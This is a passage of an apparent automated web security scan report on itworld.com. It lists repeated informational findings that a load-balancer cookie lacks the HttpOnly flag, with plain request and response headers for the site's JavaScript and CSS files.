Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "45e799-31d-497f49830ec00"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 797
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:16 GMT
X-Varnish: 1959719419 1959719308
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 2
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

// $Id: panels.js,v 1.2.4.1 2009/10/05 22:40:35 merlinofchaos Exp $

(function ($) {
Drupal.Panels = {};

Drupal.Panels.autoAttach = function() {
if ($.browser.msie) {
// If IE, attach a
...[SNIP]...

7.60. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Sat, 26 Mar 2011 14:45:14 GMT
ETag: "42f85f-352e-49f63c21b7280"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 13614
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:17:57 GMT
X-Varnish: 1959718445 1959715743
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 15
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

// $Id: views_slideshow.js,v 1.1.2.1.2.39 2010/07/01 03:29:08 redndahead Exp $

/**
* @file
* A simple jQuery SingleFrame Div Slideshow Rotator.
*/

/**
* This will set our initial behavior, by
...[SNIP]...

7.61. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Sat, 26 Mar 2011 14:45:14 GMT
ETag: "45ec7f-36ee-49f63c21b7280"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 14062
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:00 GMT
X-Varnish: 1959718567 1959715737
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 18
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

// $Id: views_slideshow.js,v 1.1.2.2.2.35 2010/07/01 03:29:08 redndahead Exp $

/**
* @file
* A simple jQuery ThumbnailHover Div Slideshow Rotator.
*/

/**
* This will set our initial behavior, by
...[SNIP]...

7.62. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:36 GMT
ETag: "45f2ce-7938-497f498aafe00"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 31032
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:01 GMT
X-Varnish: 1959718630 1959715736
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 16
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

/*
* jQuery Cycle Plugin (with Transition Definitions)
* Examples and documentation at: http://jquery.malsup.com/cycle/
* Copyright (c) 2007-2010 M. Alsup
* Version: 2.88 (08-JUN-2010)
* Dual lic
...[SNIP]...

7.63. http://www.itworld.com/sites/all/modules/contrib/viewscarousel/jquery.jcarousel.pack.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/viewscarousel/jquery.jcarousel.pack.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=39a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/viewscarousel/jquery.jcarousel.pack.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Last-Modified: Fri, 01 Apr 2011 00:10:10 GMT
ETag: "587ebe-36a3-49fd03bac3c80"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 13987
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:02 GMT
X-Varnish: 398317178 398315317
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 16
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=39a4a8c00000b822; Path=/; Max-age=600

(function($){$.fn.jcarousel=function(o,a1,a2){if(typeof o=='string')
return $(this).data('jcarousel')[o](a1,a2);else
return this.each(function(){$(this).data('jcarousel',new $jc(this,o));});};var defa
...[SNIP]...

7.64. http://www.itworld.com/sites/all/modules/contrib/viewscarousel/viewscarousel.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/viewscarousel/viewscarousel.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/viewscarousel/viewscarousel.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:34 GMT
ETag: "45f2da-998-497f4988c7980"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 2456
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:51 GMT
X-Varnish: 1959720359 1959719332
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 7
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

(function($) {
var viewscarouselHTML = new Array();
var viewscarouselObjects = new Array();
var uuid = 0;
Drupal.behaviors.viewscarousel = function(context) {
$.each(Drupal.settings.viewsc
...[SNIP]...

7.65. http://www.itworld.com/sites/all/modules/features/itw_activity/js/itw_activity.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/features/itw_activity/js/itw_activity.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/features/itw_activity/js/itw_activity.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 20 Jul 2011 21:04:05 GMT
ETag: "45f844-1207-4a88692927b40"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 4615
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:00 GMT
X-Varnish: 1959718595 1959715738
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 17
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

/**
* @author Diego Roldan -- diego@kickapps.com
* @file itw_activity.js
* @see For full instructions and integration please read README.txt
*
* Detects certain user interactivity and invokes a h
...[SNIP]...

7.66. http://www.itworld.com/sites/all/modules/features/itw_answers/js/itw_answers.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/features/itw_answers/js/itw_answers.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/features/itw_answers/js/itw_answers.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 11 May 2011 21:15:10 GMT
ETag: "45f64a-6b6-4a30691515380"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 1718
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:31 GMT
X-Varnish: 1959719952 1959719331
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 4
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

Drupal.behaviors.answersFilterByBehavior = function(context) {
$('#edit-filter-by', context).change(function() {
var url = $(location).attr('href');
var base_url = url.split("?")[0];
$(l
...[SNIP]...

7.67. http://www.itworld.com/sites/all/modules/itw/modules/friendconnect/friendconnect.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/friendconnect/friendconnect.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/itw/modules/friendconnect/friendconnect.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 18 May 2011 21:08:42 GMT
ETag: "45f72b-1f47-4a3934b148a80"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 8007
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:20:50 GMT
X-Varnish: 1959724001 1959723606
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 3
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

// $Id$

/**
* Copyright 2009 Google Inc.
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a c
...[SNIP]...

7.68. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js?132 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:36 GMT
ETag: "45f65b-f5e-497f498aafe00"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 3934
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:17:37 GMT
X-Varnish: 1959717755 1959715697
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 12
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

// $Id: demandbase.js 25539 2010-03-23 14:46:43Z bbuckman $

// Demandbase data

// make sure global namespace exists
OPG = window.OPG || {};

// Demandbase namespace (lowercase b)
OPG.Demandbase = OP
...[SNIP]...

7.69. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js?2531 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:36 GMT
ETag: "45f66f-e12-497f498aafe00"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 3602
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:17:36 GMT
X-Varnish: 1959717744 1959715704
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 10
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

// $Id: doubleclick_ads.js 26748 2010-04-19 15:03:20Z $

// Doubleclick ad support

// a comment to test caching

// make sure global namespace exists
OPG = window.OPG || {};

// Doubleclick namespac
...[SNIP]...

7.70. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/doubleclick_ads_itworld/jquery.lazyload-ad-1.4.min.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/doubleclick_ads_itworld/jquery.lazyload-ad-1.4.min.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/itw/modules/idg_ads/doubleclick_ads_itworld/jquery.lazyload-ad-1.4.min.js HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:36 GMT
ETag: "45f695-26aa-497f498aafe00"
Content-Type: application/x-javascript
Content-Length: 9898
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:42 GMT
X-Varnish: 1959715985 1959715868
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 1
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

var LazyLoader={};LazyLoader.timer={};LazyLoader.scripts=[];LazyLoader.load=function(url,context,callback){var classname=null;var properties=null;try{LazyLoader.scripts.push(url);var script=document.c
...[SNIP]...

7.71. http://www.itworld.com/sites/all/modules/itw/modules/itw_login/itw_login.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_login/itw_login.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/itw/modules/itw_login/itw_login.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 28 Mar 2011 21:04:37 GMT
ETag: "45ec7e-e28-49f914a920340"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 3624
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:05 GMT
X-Varnish: 1959718815 1959715758
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 17
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

$(function() {

$("fieldset.group-basics").select()

.focus(function(){
$(this)
.data("origWidth", $(this).css("width"))
.css("width", "auto");
})

.blur(function(
...[SNIP]...

7.72. http://www.itworld.com/sites/all/modules/itw/modules/itw_omniture/js/s_code-dev.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_omniture/js/s_code-dev.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/itw/modules/itw_omniture/js/s_code-dev.js HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Sat, 02 Apr 2011 23:14:16 GMT
ETag: "45f4be-b510-49ff7af710200"
Content-Type: application/x-javascript
Content-Length: 46352
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:41 GMT
X-Varnish: 1959715966 1959715836
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 1
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

/* SiteCatalyst code version: H.20.3.
Copyright 1996-2010 Adobe, Inc. All Rights Reserved
More info available at http://www.omniture.com */
/************************ ADDITIONAL FEATURES **************
...[SNIP]...

7.73. http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles/itw_profiles.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_profiles/itw_profiles.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/itw/modules/itw_profiles/itw_profiles.css?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Fri, 25 Mar 2011 21:03:35 GMT
ETag: "45ebe2-12b-49f54ed59d7c0"
Cache-Control: max-age=1209600
Content-Type: text/css
Content-Length: 299
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:17:39 GMT
X-Varnish: 1959717812 1959715714
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 15
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

#profile-content #profile-card #friendconnect_display,
#profile-content #profile-card #friendconnect_display div {
background: url(/sites/all/themes/itworld/images/button-google.jpg) no-repeat top l
...[SNIP]...

7.74. http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles/itw_profiles.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_profiles/itw_profiles.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/itw/modules/itw_profiles/itw_profiles.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

7.75. http://www.itworld.com/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
